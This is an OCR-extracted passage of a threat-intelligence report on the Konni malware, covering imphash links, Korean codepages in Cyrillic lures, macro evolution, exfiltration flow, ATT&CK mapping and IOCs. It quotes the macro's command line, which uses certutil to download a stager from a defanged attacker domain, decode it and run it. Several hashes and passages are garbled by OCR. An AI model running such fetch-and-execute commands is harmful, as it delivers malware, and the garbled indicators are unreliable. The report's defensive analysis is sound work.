mshlpsrvc.dil €eb8093507911939a17c6¢7b39475f5d4db70 | 419ec273a5550a29fd3ce9d1b09bd155 2019-07-12
a9ed3b85ef34ff5e6372b20a73e 09:08:33
mshlpsrvc.dil 7d2b1af486610a45f78a573af9a9ad00414680 | 22453bacldad954a5399ae66ee20e9b9d 2019-07-12
ff8e958cfb5437a1b140acb60c 09:09:52
xclientsve.dll 7f6984fa9d0bbclbd6ab531f0a8c2f4beb15d | 22453baclda954a5399ae66ee20e9b9d 2019-09-05
€30f2b20054d3980395d77665af 07:05:43
xclientsvc.dll 290¢942da70c68d28a387775fbb7e6cab674 | 419ec273a5550a29fd3ce9d1b09bd155 2019-09-05
9547d278cb755b4999e0fe61a09f 07:06:27

The compiler's linker builds the Import Address Table (IAT) based on the specific order of functions within the
source file, same Imphash value indicates that the PE IAT table includes the same functions and in the same
order. This is a strong evidence that ties together different payloads from different campaigns to the same

threat actor.
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Doc Properties Comparison

All lure documents associated with Konni activities are written in Cyrillic, and potentially target political
organizations and politically motivated victims in Russia. Notwithstanding, we found that all 3 documents files’
internal codepage is set to 949 - ANSI/OEM Korean (Unified Hangul Code).

O cumyayuu wa Kopelickom nonyocmpose u nepcnexmusax duanoza Poccus — KHIP — PK — mope0so-3K0HOMUYECKUE CEASU — UReecmULuL.doc
Mmexcdy CLUA u KHJP.doc (About the situation on the Korean Peninsula and L RussmrNorrfJ‘ Korea—swtﬁweu—fmd& and Economic Relm{ons—ﬁnlfiesltmenf dac)
the prospects for dialogue between the United States and the DPRK.doc) .

geopol18.doc

Macro Comparison

The lure document is armed with a VBA macro that essentially comprise the command line to be executed. The
final command line that is composed by the macro is identical across all 3 campaigns expect of the C2 URL,
where the next stager is downloaded from. In our example from the July campaign the final command line is:
c:\windows\system32\cmd.exe /q /c copy /y Y%windir%\system32\certutil.exe %temp%\mx.exe && cd /d %temp% &&
mx -urlcache -split -f http://handicap.eu5[.Jorg/1.txt && mx -decode -f 1.txt 1bat && del /f /q 1.txt && 1.bat

Below you can see the evolution and changes made in the macro code level throughout the Konni attacks; one
notable change is the switch to hidden text boxes within the document that contain the hex representation of
the commands instead using it directly in the macro.

January Campaign Macro July Campaign Macro September Campaign Macro
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Decoding Routine

Konni malware family use a custom base64 key to encode the content of several files in the exfiltration phase.
We observed the same flow of data reconnaissance and exfiltration across all campaigns:

svchost.exe cmd.exe
EXE
Loads v
systemjnfo.exe tasklist.exe
Reads l Write
output 4omp.ini
INI
mal Eia .exe
Custom base64
Downloads encoded
temp.ca
L J l
TXT
o
Custom base6d
encoded FTP Uploaded
Credentials
T

Figure 22 Typical Konni Data Reconnaissance and Exfiltration

Cyberint Cyberint Copyright © All Rights Reserved 2020 22



KONNI MALWARE

The decoding routine is identical in all Konni samples we have analyzed which indicate a code reuse by the
threat actor.
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Figure 23 Decoding Routine
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MITRE ATT&CK Techniques

Privilege Credential
Execution Persistence Defense Evasion Discovery |Collection [Exfiltration |C&C
Escalation [Access
Exfiltration
Modify
Command-Line Access Token|Access Token Process Over Data
Existing
Interface Manipulation{Manipulation Discovery Alternative |Encoding
Service
Protocol
Execution System
Bypass User Account
through Module[New Service [New Service Information
Control
Load Discovery
Deobfuscate/Decode

Rundll32
Files or Information

Modify Registry

RundlI32
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KONNI MALWARE

|OCs

Lure Documents

8da5b75b6380a41eee3a399c43dfe0d99eeefaalfd21027a07blecaadcdo6fdd
4c201f9949804e90194fe91882cb8aad3e7daf496a7f4e792b9c7fed95ab0726
ed63e84985e1af9c4764e6b6ca513ec1c16840fb2534b86f95e31801468be67a

Konni Loader
6a22db7df237c085855deb48686217173dc2664f4b927ebe238d4442b68a2fd3
2ab1b28bae24217e8b6dd0cd30bb7258fa34c0d7337ecfea55e4310d08aeble6

Konni final payload DLL
€94fa697d8661d79260edf17c0a519faedb2a64037aa79b29d6631205995fdad
6256ba2b89c78877328cc70d45db980310a51545a83d1d922d64048b57d6c057
52bal17b90244a46e0ef2a653452b26bcb94f0a03b999¢343301fefde3clec5d2
7d2b1af486610a45f78a573af9a9ad00414680ff8e958cfb5437a1b140acbh60c
€eb8093507911939a17c6¢7b39475f5d4db70a9ed3b85ef34ff5e6372b20a73e
8795b2756efa32d5101a8d38ea27fca9c8c7ed1d54da98f0520f72706d1¢5105
7f6984fa9d0bbcibd6ab531f0a8c2f4beb15de30f2b20054d3980395d77665af
290c942da70c68d28a387775fbb7e6cab6749547d278cb755b4999e0fe61a09f
274e706809a1c0363f78363d0c6a7d256be5be11039de14f617265e01d550a98

IP Addresses
69.197.143.12
185.27.134.1m
88.99.13.69
162.253.155.226

Domains
clean.lapps[.Jcom
handicap. eu5[.Jorg
panda2019.eu5[.Jorg
ftpupload[.Jnet
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